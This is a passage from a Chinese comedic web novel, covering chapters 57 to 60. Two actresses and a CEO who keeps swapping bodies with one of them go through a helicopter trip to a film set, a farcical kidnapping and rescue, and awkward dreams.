诧异中带着疑惑,疑惑中带着尴尬,僵硬着嘴角,假笑了两下。 这种表情白逸纯熟悉得不能再熟悉了。 每次当她自我介绍而对方不认识她,又出于礼貌不得不回应时,都是这种表情。 很假,很虚伪,虽然一句脏话不带,也没有任何主观恶意,但却能一举击溃人的自尊心。 好在这些事白逸纯经历得多了,现在已经免疫,对自己是个小透明的事实接受良好。 而且现场居然还有一个知道她名字的人,这怎么不算是一种进步呢? 白逸纯握住夏蓁的手,感动道:“你是怎么认识我的啊?” 毕竟从地铁上的那番谈话来看,夏蓁明显对乔缨抱有好感,没道理认识她这个糊咖。 夏蓁听罢,诧异地看了她一眼,找出一篇乔缨写的微博,疑惑道: “你以前不是做过乔缨的武替吗?那时候乔缨的腿受伤了,多亏你临时救场,她还专门发了一篇文章感谢你呢。” 还有这种事? 白逸纯的表情如遭雷劈,急忙拿过夏蓁的手机看了一眼,果不其然在最后一段的感谢名单里找到了自己的名字。 “你不知道这事吗?”夏蓁眨了眨眼睛。 “啊,这个……”白逸纯瞳孔震颤。 她哪儿知道啊! 当初她拍完戏被封杀,为了泄愤就把乔缨给拉黑了,到现在还在黑名单里躺着。 谁能想到还有这一出? 而且乔缨不是恶女设定吗?怎么还搞投桃报李这一套啊,崩人设了吧? 白逸纯站在原地,世界观像被飞机撞碎的双子大厦般,轰然坍塌。 舒乐的消息就是在这时候发过来的。 她麻木地点开微信。 看着打了三个感叹号的备注名,她后知后觉地想起,这是她在横店跑龙套时,死缠烂打了五个月才加上联系方式的知名大导演。 大脑陡然间清醒了过来。 “电影三番缺人,两小时内进组最好,你有……时间吗?” 白逸纯一字一句读着聊天框里的字,逐渐震惊地瞪大了双眼。 再看看舒乐发来的定位,俨然就在白家村后面的那座山上。 白逸纯喃喃自语:“难怪……舒导一定是看到我那条朋友圈了。” 可问题在于,她现在在离白家村一个小时路程之外的蓉城啊? 这么点时间,除非用飞的,怎么可能在两小时内就赶到剧组呢? 她愁眉苦脸地盯着那条消息,夏蓁思忖半晌后,建议道:“不介意的话,我送你去?” 白逸纯有点懵,踟蹰地问:“可……你不去今天的演唱会了吗?” “没什么好去的。” 夏蓁听罢,用她那张可爱清纯的脸蛋翻了个大大的白眼。 “谢欢那种人喜欢的明星,能是什么好东西,不看就不看吧。” “你……”白逸纯大为感动,抹了把眼泪。 大小姐,下辈子我要变成大青牛驮着你去成仙! 一番豪言壮语后,夏蓁握住白逸纯的手,星星眼忽闪忽闪,发誓一般郑重说道: “现在像你这样愿意见义勇为的人不多了,从此以后我就是你的脑残粉,西八,我在娱乐圈有点人脉,把那些欺负你的狗崽子们都撕碎!” 说罢,她拿起手机拨打了一个电话,举手投足间颇有种天凉王破的即视感。 这是什么走向? 一脸状况外的白逸纯看不懂了,弱弱问了一句:“麻烦问一下,咱们坐什么交通工具去啊?” 夏蓁抬头直视着她的双眼,轻飘飘地说出三个字:“直升机。” 恍惚间,白逸纯似乎听到了远处螺旋桨的声音。 在两眼发黑晕过去的前一秒,她被夏蓁塞进了一辆加长版的豪华轿车里。 “我们现在去停机坪,你放心,我一定准时把你送过去。” 夏蓁高深莫测地靠在座椅上,缓慢晃动着手里的酒杯。 作为一名地地道道的土狗,没见过世面的白逸纯视线随着酒杯里的液体不断回旋往复。 眩晕之下,一不小心问出了声:“大小姐,上飞机前,不是不能喝酒吗?” “……” 夏蓁诡异地沉默了两秒:“这是可乐。” 气氛尴尬了起来,白逸纯低头摆弄着手机,忽然想起来一件重要的事,连忙打开订单看了一眼。 她今天要进组,所以宾馆是住不了了,而现在已经过了取消订单的时间,也就意味着她要白白损失一晚上的住宿费。 两百多块,白逸纯感觉自己心在滴血。 她紧锁着眉头,大脑飞速运转起来,寻思着怎么把钱要回来。 万千思绪涌起,她忽然灵光一闪。 等等,今天的演唱会……好像就在酒店隔壁开? 翻开订房软件,同一家酒店,一晚上房间价格翻了好几倍。 也就是说,她把今晚的房间挂闲鱼上卖,甚至还能多赚几百。 原来这就是炒房。 白逸纯双手合十,无比虔诚地闭上双眼道:“感谢,感谢粉丝经济。” 夏蓁默不作声打量着她的动作,下意识往外靠了靠。 这位姐妹,演戏演得走火入魔了吧? 而白逸纯一边喝着可乐,一边用手指在手机上左戳右戳,在闲鱼里杀疯了。 【你当我做慈善啊】:“你是学生?你是畜生都不行。” 【你当我做慈善啊】:“刀我可以,刀钱没门。” 【你当我做慈善啊】:“打五折?不如我白送你再倒贴你二百怎么样?” 【你当我做慈善啊】:“你还真敢要啊!” 【你当我做慈善啊】:“你来晚了,刚刚五块钱卖出去了。” 【你当我做慈善啊】:“丢掉都不卖你。” 演唱会场馆门外,谢欢拿着手机“啧”了一声,还是咬牙给对面那人转了七百块房费。 她和夏蓁是大学同学,本来听说夏蓁是个小富婆,这次忽悠她一起来就是想免费蹭个房间。 没想到地铁坐到一半,人跑了。 谢欢觉得,这都是因为今天遇到了乔缨这个晦气的女人,她才这么倒霉。 她打开微博,敲下几个字: 【沈颐的小宝贝】:刚刚好像在地铁上看到乔缨了,笑死,一身黑,好像女巫。 然后她又迅速切换了一个账号: 【君以外全员皆婢】:最后一站,最后一战,如果不能半壁银海,本人将自刎在十周年场馆门口,在此立誓! 她的眼神逐渐坚定起来,用手扶着腰,护着肚子,慢慢地,一步一步踱到安检口。 周围的人在小声议论。 “怀孕都敢来,不要命了?” “现场人这么多,她就不怕出什么意外吗?” 然而下一秒,说话的那几人就看到——— 原本还挺着大肚子的谢欢,在过完安检后,就直接撸起了袖子和上衣! 她噼里啪啦撕下捆在身上的胶带,连同身上绑着的灯牌,也随之丁零当啷掉了一地。 全场寂静,而后爆发出一阵尖锐的暴鸣声。 “卧槽啊啊啊啊啊,比我健身捆的沙袋都多!” “伪装者,是伪装者吧?” “爹的,早知道我们也这样干了!” “最新消息!听说有人在红豆面包里投毒,还有人在身上藏银针,大家小心一点!” 谢欢冷冷一笑,提着灯牌昂首和已经进入场馆的同伙汇合。 领头的大粉给她们一人发了一面大黄旗。 迎风飘扬,威武霸气,整个画面看起来像《还珠格格》片头。 大粉仰天长啸一声:“我们的口号是?” 谢欢扯开嗓子叫道:“呱叽叽呱倒闭了!” — 夏蓁和白逸纯的直升机到剧组时,乔缨正站在灶台前,眼巴巴看着从锅里冒出的水蒸气。 随后,一碗热气腾腾的食物被陶希熙端了上来,放在乔缨面前的小桌板上。 她笑着说道:“家里人都出门去了,冰箱里没什么食材,姐你别嫌弃。” 说完,她好像想起来什么似的,又自信地拍拍胸脯,道:“别误会,不是白粥,也不是胡椒米稀,而是红苕稀饭。” 饿得前胸贴后背的乔缨连忙点点头,眼泪在嘴角打转:“你也太宠我了吧!” 刚喝下第一口时,外面忽然传来一阵轰鸣巨响。 风沙弥漫,灰尘席卷,乔缨一头雾水地捧着搪瓷碗出门,和悬在空中的白逸纯大眼对小眼。 白逸纯跳到地面,手脚僵直得不知道往哪里放。 原来乔缨也在剧组,早知道就不来了。 骤然得知害她雪藏的始作俑者很有可能不是面前这人,而自己这么多年的怨气和恨意,居然找错了对象。 一时半会儿,她还不知道该如何调整心态来面对乔缨。 在螺旋桨的背景声里,白逸纯尴尬地挠挠下巴,问:“坐吗?” 乔缨眉头一皱:“我们认识吗?我虽独身,在此也住多年,常言道,寡妇门前是非多……” 白逸纯忍无可忍地打断:“我是问你坐不坐直升飞机!” 第58章 第五十八章 你的首要任务是找到白菜和…… 伦敦, 科技峰会的afterparty。 一个男人端着酒杯,站到裴砚知身边,笑着开口道: “裴总, 听说您最近在娱乐圈找了个小情人?啧啧啧,裴总真是艳福不浅啊, 有没有什么渠道,给我也介绍一下?” 裴砚知散漫地看他一眼, 戏谑道:“你要找女朋友?” “女朋友?” 男人不可置信地瞪了瞪眼睛, 随后放声大笑起来:“这是现在流行的叫法吗?女人不就是用来玩的,谁还当真啊。” 裴砚知的视线在他身上扫了一圈,从罗圈腿到大肚腩再到地中海,嗤笑一声:“你的首要任务是找到白菜和粉条。” 男人微怔:“什么意思?” “骂你是只死猪的意思。” 裴砚知嘲讽意味十足地从他身边擦过,走出门, 给街头的teenager发了一把英镑, 然后指了指跟在他身后一脸错愕的男人。 接连不断的求饶声中,裴砚知坐进停在门口的劳斯莱斯里, 抬起手腕上的表看了一眼。 才刚下午五点,英国的天已经黑透了, 冷不丁被寒风一吹, 竟让人有种加班了很久的错觉。 十二月的街头亮起了圣诞节的彩灯,大街小巷又开始放起了玛丽亚凯莉的歌。 人头攒动, 雪花纷纷扬扬地飘,车窗上迅速凝结出一片雾气。 “裴总, 乔小姐在剧组受伤了。”陆嘉泽看着保镖发来的消息, 一脸惊诧地说。 裴砚知诧异地侧过头,问道:“怎么回事?” “拍戏的时候发生意外,山坡上的石头滚了下来, 然后……” “被石头砸到了?”裴砚知抿紧唇,脸色肉眼可见地沉了下来。 从没见到他这般急切的模样,甚至连话都来不及听他说完,陆嘉泽瞬间感觉有被肉麻到。 他抖了抖身上的鸡皮疙瘩,如实禀告:“哦那倒没有,乔小姐爬到树上待了半小时,手上蹭破了点皮,还有点感冒。” 裴砚知神情稍稍缓和了一瞬,而后又冷下了脸,翻出和乔缨的对话框。 字里行间,她没透露出半点消息,也看不出任何端倪。 眉宇间迅速染上一层不悦,他有些烦躁地摩挲着指节,对着空气提问:“这都几天前的事情了,她为什么不和我说?” “这个……” 陆嘉泽尴尬地扯了扯嘴角。 还能为什么,人家拿你当外人呗。 别说乔缨了,她工作室的那些个员工也是如出一辙,口风出奇的紧。 尤其是喻季年,任凭他再怎么利诱都撬不开嘴,完全不像霸总小说里的闺蜜那样好收买。 万能秘书不再万能了,这无疑是他职业生涯里的滑铁卢。 在陆 嘉泽暗自神伤的间隙,裴砚知垂下眼眸,看着输入栏里一闪一闪的光标,忽然想明白了一件事情。 他原本觉得,过度干涉乔缨的生活会适得其反,惹她讨厌。 可事实上,似乎并不是这样。 他早该想到,以乔缨的脾气,太过温吞、太过注重边界感的话,就没法和她拉近距离,下一次遇到意外,她依然不会对自己说一个字。 哪怕乔缨的嘴再硬,通过那天在车里的对话,也能看出她并非完全是个铁石心肠的人。 她只是不擅长,不习惯,害怕自己处于弱势,所以没办法坦诚,更没办法依赖。 所以每次相处时,乔缨那拧巴别扭的心态,他今天终于宛如拨开云雾一般,微妙的、完整的,理解到了。 ———能直白地表达厌恶,但不能坦荡地说出喜欢。 车窗上的雾气化成水珠缓缓划过,灯火辉煌的夜晚让这座城市显得不再那么阴郁潮湿。 裴砚知看着前方的大天使灯,心情忽然变好了一些。 所以从现状上来分析,乔缨至少不讨厌自己,才能容忍他一而再再而三的逾矩行为。 这是不是说明,趁她还没对他失去兴趣前,或许自己还能再得寸进尺一点? 想通后,裴砚知整理好情绪,简短吩咐道:“让钟奇和余景阳多看着点,随时和我汇报。” 他今天才得知,当初被逮捕的张强不知被谁保了下来,如今不知所踪。 考虑到张强很有可能会去找乔缨,裴砚知紧急派了两个保镖跟去剧组,装成工作人员的样子,暗中保护。 没想到还是慢了一步。 隔着八小时的时差,国内已经是第二天的凌晨,乔缨或许已经睡着了。 不想打扰她睡觉,裴砚知决定等到北京时间早上七点时,再发消息询问。 陆嘉泽打量着裴砚知的神色,还以为他是在担心张强的事情,宽声安慰道:“裴总,放心吧,钟奇和余景阳可是百里挑一的精英,不会有事的。” 不知为何,听到他这话,裴砚知眉心莫名其妙一跳,忽然有种不详的预感。 — 与此同时。 乔缨正披着被子缩在沙发上,拿起纸巾擤了把鼻涕。 林娇娇掏出手机,将一张照片放大后摆在她面前,板着脸严肃道:“姐,就是这两个人,形迹十分可疑。” “怎么说?”乔缨也皱紧了眉头,神秘兮兮地朝照片上看去。 人群中,两个面目模糊的高大男人正搬着东西,眼睛却十分精准地扫向了拍摄者镜头的位置,锋芒毕露的眼神很是犀利。 林娇娇压低了声音:“我打听过了,他俩一个姓钟,一个姓余,今天上午才刚进组,据说是住在附近的村民。” 乔缨立即摇头否定:“不可能。” 白逸纯的直升机动静那么大,当时几乎全村的人都赶来围观看热闹了,可她却对这两张脸毫无印象。 “的确不可能,我今天借机试探过几句,这两个人连茄子是几月份播种、几月份成熟都不知道,对农活也一窍不通。” 林娇娇喝了口温水润润嗓子,噼里啪啦地再度开口。 “而且我观察了他们一天,虽然也在老老实实干活,但这两个人的视线一直停留在你的方向,且身手很好,我怀疑是上次推石头的那个人找来帮忙的。” 帮什么忙?当然是帮忙杀她了! 毕竟经过上次的事件,场务更加严格细致,还新增了一批安保人员,让凶手几乎没有可趁之机。 乔缨听得后背直发凉,本就晕晕乎乎的脑袋更是一阵钝痛。 她捂着脸头疼道:“那现在怎么办?” “这样,我先去门外探查探查,有情况向你汇报。” 林娇娇说完,转身就从窗户上翻走了,来去如风,没留给乔缨说话的机会。 风声呼啸,林娇娇猫着腰,从后门溜出去,融进伸手不见五指的黑夜里。 借着房屋前堆砌的柴火和稻草,林娇娇隐匿着身型,果不其然在乔缨的院子外发现两个鬼鬼祟祟的人影。 她抄起两块趁手的板砖,掂量了一下重量,计算着风速和角度,毫不犹豫地扔了出去。 先后两道闷响,钟奇和余景阳应声倒地,再起不能。 林娇娇找出两根麻绳,三下五除二地将两人五花大绑,在雪地里拖行,一直拖进了后门,扔进了柴房里。 屋内。 喻季年拿起体温计看了一眼,惊道:“三十八度,缨姐,你有些发烧了,要不要去找医生看看啊?” “不去了,明天最后一场戏,再坚持下吧。” 乔缨拆开感冒药的包装吞下几颗,嗓子立即疼得跟刀片划过一样。 见喻季年仍然不放心,乔缨索性将她推进里屋里,不再多废话:“快睡。” 身后一阵响动。 转过身,林娇娇再度从窗户外翻进来,低声道:“那两个人已经被我撂倒了,关到了柴房里,要不要审问审问?” 这次仍然没等乔缨的回答,她嘴里一边念叨着什么,一边又自顾自地翻了出去。 乔缨望着她的背影,张了张嘴。 不知道是不是感冒药的原因,她忽然感觉眼前一阵晕眩。 在失去意识的前一秒,她恍惚间看到一个陌生男子从银杏树下走了过来。 二十分钟后。 林娇娇大叫着跑进屋子,慌慌张张道:“完了完了,那两个人居然是裴砚知派来的保镖,我抓错人了!” 说完后她才发现,屋里空无一人,只有桌上的热水杯还在冒着热气。 喻季年被吵醒,推开门走了出来,发现乔缨失踪后同样呆在了原地。 林娇娇捏起残余的药片端详片刻,皱眉问道:“这药是从哪里买的?” “村里的诊所关门了,是剧组的人送给乔缨的。” 喻季年哆哆嗦嗦:“这药……有什么问题吗?” 林娇娇脸色凝重:“这是安眠药。” — 乔缨是被人摇醒的。 刚一睁眼,一张和她有四五分相似的惨白色人脸便陡然间冒了出来。 距离近在咫尺,和她贴脸对视。 “啊———唔!” 乔缨被吓了一跳,挣扎了几下后,发现自己的手脚居然被捆住了,动弹不了。 白逸纯一把捂住她的嘴,焦急道:“嘘,小声点,咱俩被绑架了!” 乔缨不可置信地睁大了眼睛,随后小幅度地点点头,迅速镇定下来。 虽然搞不清状况,但现在最重要的是先逃出去。 还好还好,乔缨不是猪队友。 白逸纯松了一口气,拿出一小截刀片,快速磨动着乔缨脚上的麻绳。 在还剩最后三分之一的绳索没割断时,屋外忽然传来一阵脚步声。 白逸纯拿刀片的手指顿住了,捏成拳头朝空气狠狠挥舞了几下,然后迅速闪到了角落里。 男人谄媚浮夸的声音在门外响起:“诶,强哥,我在呢!是是是,上次是我办事不力,没找好时机。不过你放心,这次我一定给你办得妥妥的!人我已经抓到了,就等着您过来查收呢!” 挂完电话,男人啐了口唾沫,骂骂咧咧地说:“妈的,幸好老子机智,把两个都抓起来了,长这么像,谁他妈分得清。” 白逸纯面色一僵,朝乔缨投去一个怨念的眼神。 难怪啊!她就说自己一个小透明,哪里值得被人绑架勒索,原来是被连累的! 门把手被转动,状况紧急,乔缨只得向她歉意地眨眨眼睛,然后示意她赶紧找个地方躲好。 这个房间很大,中间有一根几人粗的大圆柱,两人被绑的椅子则是位于圆柱的前后两侧。 白逸纯现在有两个选择,要么坐回椅子上假装无事发生,要么躲进角落里趁机逃跑。 不过,基于现状的判断,以及不能置乔缨于不顾的人道主义精神…… 白逸纯瞥了 一眼逐渐被推开的大门,果断选择了另一条求生的险路——— 上墙。 在男人推门而入的瞬间,白逸纯两只脚站在墙角,咬紧了牙,一步一步慢慢往上挪动。 够了,大傻春,你要干嘛。 乔缨呆滞住,甚至连进屋的男人都忽略了。 她心惊胆战地用余光看着墙角,在男人麻秆似的身躯后,正趴着一只宛如蜘蛛般向天花板爬去的白逸纯。 “哼,你就是乔缨?” 被无视的男人颇为不爽地捏住她的下巴,油油腻腻一笑:“细皮嫩肉的,可惜了。” 经过先前的一番折腾,乔缨感觉体温又升高了一点,脑子越来越沉。 她甩了甩头,试图挣掉男人的手,诚恳道:“大哥,别靠太近,我感冒了,小心传染。” “哈,你当我是傻子吗?” 男人贴到她面前,狰狞道:“喂,反正都要嗝屁了,不如先让哥哥我……” “阿嚏!” 一声嘹亮的喷嚏声打断了他的话,因为靠得太近,大鼻涕不出意外地甩了男人一脸。 男人震怒:“你!” “阿嚏!阿嚏!阿嚏!” 突如其来的三连击没给男人任何喘息的机会,他踉跄着倒退,连眼睛上都好像糊了一层黏腻的东西。 男人眯着眼睛退到墙角,一不小心抬头,和天花板的白逸纯对上了视线。 由于重力,她一头长发披散在脸颊上,只露出一口森森白牙,下意识朝他笑了笑。 “呃啊啊啊啊啊,你不要过来啊!” 满脸鼻涕的男人崩溃了,跌跌撞撞在屋子里爬来爬去。 热闹的场面中,刚刚的喷嚏带走了乔缨最后一丝力气,她眼睛一闭,晕了过去。 远在伦敦的裴砚知刚洗完澡,全身上下不着寸缕,只有腰上围着一条浴巾。 他走到衣柜前,拿起内裤正要换上时,忽然两眼一黑,栽倒在地毯上。 再睁开眼睛,就看到了这幅犹如地狱绘卷一样的场景。 “有鬼!有鬼啊!”男人鬼哭狼嚎地爬了过来。 条件反射下,裴砚知挣开绳索,朝男人脸上来了一脚。 世界重归安静。 他看着鞋底黏腻的液体,踩在男人的衣服上狠狠擦了擦,嫌弃道:“啧,这谁的大鼻涕啊?” 天花板上顿时传来一道弱弱的嗓音:“你的。” 第59章 第五十九章 颠鸾倒凤不知天地为何物…… 好冷。 比大冬天脱完衣服去洗澡才发现打不着热水器还冷。 乔缨蜷缩着身体, 又做起了奇怪的梦———她在和人打麻将。 第一视角下,四周的人都穿着蓝白相间的六院病服,脸上笼罩着一团雾, 看不清表情。 她低头睨了一眼面前的牌堆,倒抽一口凉气。 三条四万八筒一个红中, 烂得人神共愤。 奇怪,怎么刚坐下就想家了。 能不能先打个八筒, 然后举报他们在精神病院聚众赌博啊? 内心挣扎了一会儿, 身旁忽然响起一道熟悉的戏谑嗓音:“接个闹钟就走吧。” 乔缨循着声音转头,仍旧是朦朦胧胧的人影,却能清楚地感知到这人是裴砚知。 和其他人不同,他的影子要更淡一些,几近透明。 四周的人仿佛看不见他似的, 像个幽灵一样俯身在她耳边说话。 可身侧温热的气息又驱散了一些躯体上的寒冷, 乔缨迟疑地伸出手,果不其然摸到了几块结实有力的肌肉。 下一秒, 画面倒转,乔缨跨坐在床上, 手指仍旧保持着刚才的姿势, 没有从他身上挪动半分。 裴砚知的那张脸在眼前放大,像是在勾引她一样, 眼里带着柔和轻佻的笑意。 不行,再这样下去, 就要颠鸾倒凤不知天地为何物了。 乔缨用尽这辈子最大的定力, 一身正气地把他的脸推远,眼皮下的眼球疾速颤动。 一睁眼,天光大亮。 乔缨发现身下铺着一层地毯, 一条白色没鸳鸯的浴巾还挂在她这个狂徒的腰带上。 从地上挣扎起身,她站在镜子前,两眼发直。 乔缨怅然若失地回想着刚刚的触感,忍不住又把手放到腹肌上摸了摸。 紧实有力,青筋凸起,手感细腻…… 虽然再往下就不礼貌了,但从先前的观察和使用感来看,硬性条件很优越,长得也漂亮,干干净净。 明明是同一个身体,当她第一次变成裴砚知时,摸起来一点感觉都没有,甚至还有些想笑。 可经过刚刚那个尴尬的梦,现在却连触碰都有种微妙的战栗感。 大冬天的,一定是静电。 她走到浴室,打开水龙头冲了冲手,使劲揉了把脸,清醒清醒。 不管怎么说,做梦梦到这种内容,对人家挺不尊重的。 乔缨摸索着拿起手机,给裴砚知发去一条真心实意的道歉: 【磷脂分子:对不起。】 有人走到套房外敲了敲门,本就十分心虚的乔缨被吓了一跳,慌乱地扔掉手机。 她三下五除二地穿好了衣服,一把拉开房门,绷着脸肃然而立。 猝不及防的对视让陆嘉泽一个振刀,敲门的手悬在空中,讪笑道:“裴总,早餐已经准备好了。” 他打量着乔缨的神色,打工人的直觉让他嗅出了一丝不对劲,试探性问了一句:“您这是……出了什么事情吗?” “确实出了点事。” 乔缨摸着下巴,语气惆怅:“这么说吧,一天早晨,我从不安的睡梦中醒来,发现自己躺在床上变成了一只巨大的霸道总裁。” 你这是《变形记》看多了吧。 陆嘉泽擦擦额头的汗,问道:“太容易做梦或许是精神压力太大的缘故,需要帮您预约心理医生吗?” “不用。”乔缨摆摆手,一屁股坐到餐桌前,看着一堆白人饭,完全没有食欲。 她一边食不知味地嚼着草,一边听陆嘉泽汇报工作。 几个合作商已经谈妥,参加完峰会,昭星的员工会在今天启程回国,而裴砚知则是要去纽约参加一个拍卖会。 “拍卖会?” 听到这里,乔缨叉起一块培根,眼睛一亮。 果然还是演到这一集了,霸总文必不可少的拍卖会剧情! 尽职尽责的陆嘉泽打开平板,拍卖行的主页挂着本次的拍品。 乔缨在页面上滑了几下,嘴角跃跃欲试的笑容又缓缓收了回去。 怎么是葡萄酒专场,这高级玩意儿她可一点都不懂。 “裴……咳,我是说,我很喜欢喝酒吗?” 乔缨刷着页面,随口一问,在看到一条粉钻项链后动作一滞,抬手挡了挡眼睛。 我去,差点被闪瞎。 陆嘉泽看着她的动作,心里越发奇怪。 裴砚知一向不沾烟酒,而这次参加拍卖会是因为受到了林曌的邀请。 具体的细节他不清楚,但总而言之,目的不在于葡萄酒,而是为了工作。 一想到之后还有几个小时的飞机要坐,乔缨就有些头疼。 今天还有最后一场戏要拍,这几个小时联系不上裴砚知,鬼知道会不会出什么岔子。 她不担心绑架自己的张强,她比较担心裴砚知的演技。 一想到裴砚知要顶着一张冰山面瘫脸去演天真烂漫的小女孩,乔缨就忍不住打寒战。 她喃喃道:“亲娘咧,搞不好会影响仕途啊。” — 裴砚知做完笔录,走出警局后才看到乔缨发来的消息。 一句没头没尾的“对不起”,他第一反应是乔缨在为互换身体而道歉,但下一秒又快速否认了这个猜测。 乔缨的素质没那么高。 那是为了什么呢? 裴砚知一边往外走,一边思索着答案,不经意往居民楼上一瞥,看到了一条迎风飘扬的男士花裤衩,昏昏沉沉的脑子悚然一惊。 他晕倒的时候,好像没穿衣服来着。 难道说…… 但乔缨早就看过了啊,应该不会吧? 不,也不一定,她的好奇心一向很重。 裴砚知越想越惊悚,瞳孔颤抖着打字: 【Dioretsa:你对我的身体做了什么?】 那边回复得很快: 【磷脂分子:没什么。】 【磷 脂分子:只是产生了一些多余的情感。】 裴砚知的两条眉毛打成了中国结,深吸了一口气。 【Dioretsa:什么叫多余的情感?】 【Dioretsa:你到底做什么了?】 【Dioretsa:是我想的那样吗?】 【Dioretsa:说话。】 【Dioretsa:还在吗?】 【Dioretsa:算了,注意身体。】 【Dioretsa:……你真的很喜欢?】 此时的乔缨已经登机,所以没有人回答他这一连串的问题,只留下裴砚知一个人在原地迎风凌乱。 “愣着干嘛,走了。”白逸纯走过来拍拍他的肩膀。 二进宫的张强这次是跑不掉了,他身上的关系网值得深挖,看样子,大概率连保他的人都会被牵扯进来。 从出事到现在过了大半天的时间,剧组只能先把拍摄场次推后,等两人回来后再补拍。 时间紧迫,所以这次依然是乘坐了夏蓁的直升飞机才到达山顶。 一下到地面,舒乐和一众工作人员便关切地围了过来,其中两个人影大哭着跑到最前面,一左一右抱着裴砚知,声泪俱下。 右侧的林娇娇嚎啕痛哭:“呜呜呜,姐我对不起你,要是我没把那两个保镖敲晕,你也不会被绑架,都怪我呜呜呜。” 裴砚知往后退了退,没挣脱掉两人的桎梏,只好用眼神扫向一旁的钟奇和余景阳。 他不咸不淡地问:“你是说,这两个专业人士,在毫无察觉的情况下,被你放倒了?” 被点名的钟奇和余景阳缩了缩脖子,脸颊因羞愧而涨得通红。 不是,那谁能想到剧组里还有人大半夜的搞偷袭啊? 板砖扔得那么准,确定他们拍的是温情电影而不是手撕鬼子吗? 而左侧的喻季年也抽抽噎噎:“不不不,都怪我,是我不该乱接工作人员的东西,居然用安眠药冒充感冒药,是我没有认真检查。” 裴砚知又用眼神扫了一圈周围,冷声道:“你是说,有人混进了剧组,但没有一个人发现不对劲?” 工作人员集体噤声,默默低下了头,往后退了两步。 气氛开始沉重了起来,舒乐赶紧站出来打圆场:“是是是,我们太大意了,这次的事件有惊无险已是万幸,我十分理解两位老师的心情,我向你们诚恳道歉,之后剧组一定会加强相关的管理制度,请两位放心。” 白逸纯有些惊讶地抬眼。 舒乐这种大导演地位可不一般,居然愿意自降身段说这种话来讨好。 虽然是她理亏在先,但圈内肯拉下脸皮承认错误的人也没有几个。 殊不知在舒乐眼里,经过这两次高调的直升机亮相,已然将夏蓁和白逸纯联系在了一起。 而乔缨更是不用多说,金主中的金主,宋骁恨不得把她供起来,出了这么大事,她骑在舒乐头上拉屎都行。 今天剩下的一小段戏非常简单,就是两人扮演的角色和村子里的小孩嬉戏打闹的场景。 说完安抚的话后,舒乐赔笑道:“拍摄现场已经准备好,两位老师,咱们先开工吧?” 一番劝说后,见二人动身前往了化妆间,舒导悬着的心终于放下,以为这事就这么被糊弄过去了。 可她放心还是放得太早了。 当她看到裴砚知在镜头里面无表情地跳皮筋时,忍不住扣了扣头皮,惶恐不安地问:“你说,乔缨她是不是生气了才这么表演的?” 怎么感觉她跳的不是皮筋,而是她仇人的尸体。 用脚演戏也不至于演成这样吧? 一旁的小麦推推眼镜,因为对乔缨有着八百米厚的滤镜,她摇头坚定道:“不,她这么演,一定有她的道理。” 有什么道理呢? 小麦皱起眉头冥思苦想,还真让她琢磨出一丝不对劲来。 “我知道了!” 小麦拿出剧本,快速翻阅着,语气逐渐激动。 “你看,这个剧情点上,他们还没有找到家乡,但爷爷的身体已经越来越虚弱了,主人公现在的心情应该很沉重,怎么可能一脸轻松地和小朋友玩耍呢?” 舒导不明觉厉:“原来如此。” “不愧是乔缨,老戏骨啊!” 小麦拿着笔飞速遁走,只留下一句斗志昂扬的话:“这场戏的剧本逻辑有问题,我得改改,等着吧!” 而此时,裴砚知正和眼前的小孩大眼瞪小眼,使出浑身解数,终于让嘴角上移了两个像素。 在导演喊“卡”的瞬间,小孩的嘴一瘪,“哇”地一声哭了出来,屁滚尿流地跑远了。 裴砚知额角抽了抽,疲惫地回到了座椅上。 虽然已经吃过退烧药了,但这具身体现在还十分虚弱,四肢酸软使不上力气,脑袋还一阵一阵地疼。 刚刚跳那几下皮筋,好悬没把他的魂给跳出来。 无论如何,他尽力了。 裴砚知揉揉酸胀的太阳穴,闭上眼睛,做了一个短暂的梦。 在梦里,他被乔缨压在了身下。 肌肤相贴时,乔缨在他的左肩咬了一口,留下一道不深不浅的牙印。 一室旖旎,裴砚知蓦然间睁开眼睛,喻季年的脸倒映在他的瞳孔中。 他惊魂未定地喘着气,身上似乎还残留着那份酥麻中带着痒意的触感。 恍惚间,耳边响起了喻季年疑惑的声音:“缨姐,你脸好红,是不是又发烧了?” 裴砚知深吸一口气,镇定地掏出了手机,打下三个大字: 【Dioretsa:对不起。】 第60章 第六十章 很高兴你也喜欢艺术 乔缨一打开手机, 就被来自裴砚知的消息轰炸了。 她打了个哈欠,逐一阅读,困顿的大脑登时清醒了过来, 不可思议地睁大了眼睛。 不是,什么意思, 她喜欢什么了?为什么要注意身体? 应该不会是她想的那样吧? 天大的误会啊! 乔缨抓了把头发,想给他回复一句“我对你不感兴趣”, 又觉得心虚得很, 手指放在键盘上,半天敲不出一个字来。 你别说,这手长得还挺好看。 沉浸式欣赏了片刻,陆嘉泽走过来叫了一声“裴总”,她又猛然间回过了神, 欲盖弥彰地咳了咳。 经过之前那个梦, 现在真是干什么都觉得别扭。 纽约比伦敦要冷上几度,下了飞机, 凛冽的寒风扑面而来,整个城市躁动又拥挤。 乔缨买了杯热可可, 裹紧大衣, 从入关通道出来后,便看到了等在不远处的林曌。 身后的助理很有眼色地接过了两人的行李箱, 林曌上前,和乔缨礼节性地握了握手, 寒暄几句后, 眼里忽然闪过一丝异样。 总感觉面前这个裴砚知有点奇怪。 做生意前都得打听对方的喜好,据她所知,裴砚知可是个厌甜的人, 怎么会喝热可可这种甜腻的东西。 乔缨知道林曌是个很敏锐的人,可现下人多眼杂,她也不方便解释,只好向对方投去一个稍安勿躁的眼神。 林曌心领神会,示意助理带着一行人坐进停在门口的加长轿车里,车外的景色快速倒退。 按下后座的隔板,林曌抱臂靠在座椅上,指节缓慢敲打着肘关节,笑容依旧温和,语气却很冷地质问:“说吧,你到底是谁?” 乔缨喝了口热可可,被腻得呲牙咧嘴,随口说出两个字:“乔缨。” 听到这个名字,林曌明显愣了一下,防备的神色顿时加重了几分,挑眉问道:“怎么证明?” “这还需要证明?我们可是共犯。” 乔缨心有余悸地将热可可放下,然后轻佻地扬起嘴角,慢悠悠回道:“那年冬天雪在飘,时厌找你告白,然后… …” 那是她们第一次见面。 彼时的林曌还是个受人欺压的小可怜,时厌为了让林诗怡吃醋,在宴会上故意找她告白。 因为厌烦乔家人而躲到花园里的乔缨恰好目睹了全程,听到林曌答应做时厌的女朋友后,忍不住发出一声嗤笑。 待时厌走后,她走到林曌面前,面露嘲讽地说:“你知道他喜欢的是林诗怡吧?” “知道啊。” 林曌收起了虚假的笑意,语气冷淡:“我缺的又不是喜欢。” 她缺的是钱,缺的是权,缺的是资源。 而和时厌谈恋爱,这些她都能得到。 乔缨听罢,古怪一笑:“和神经病做交易,可没你想的那么容易。” 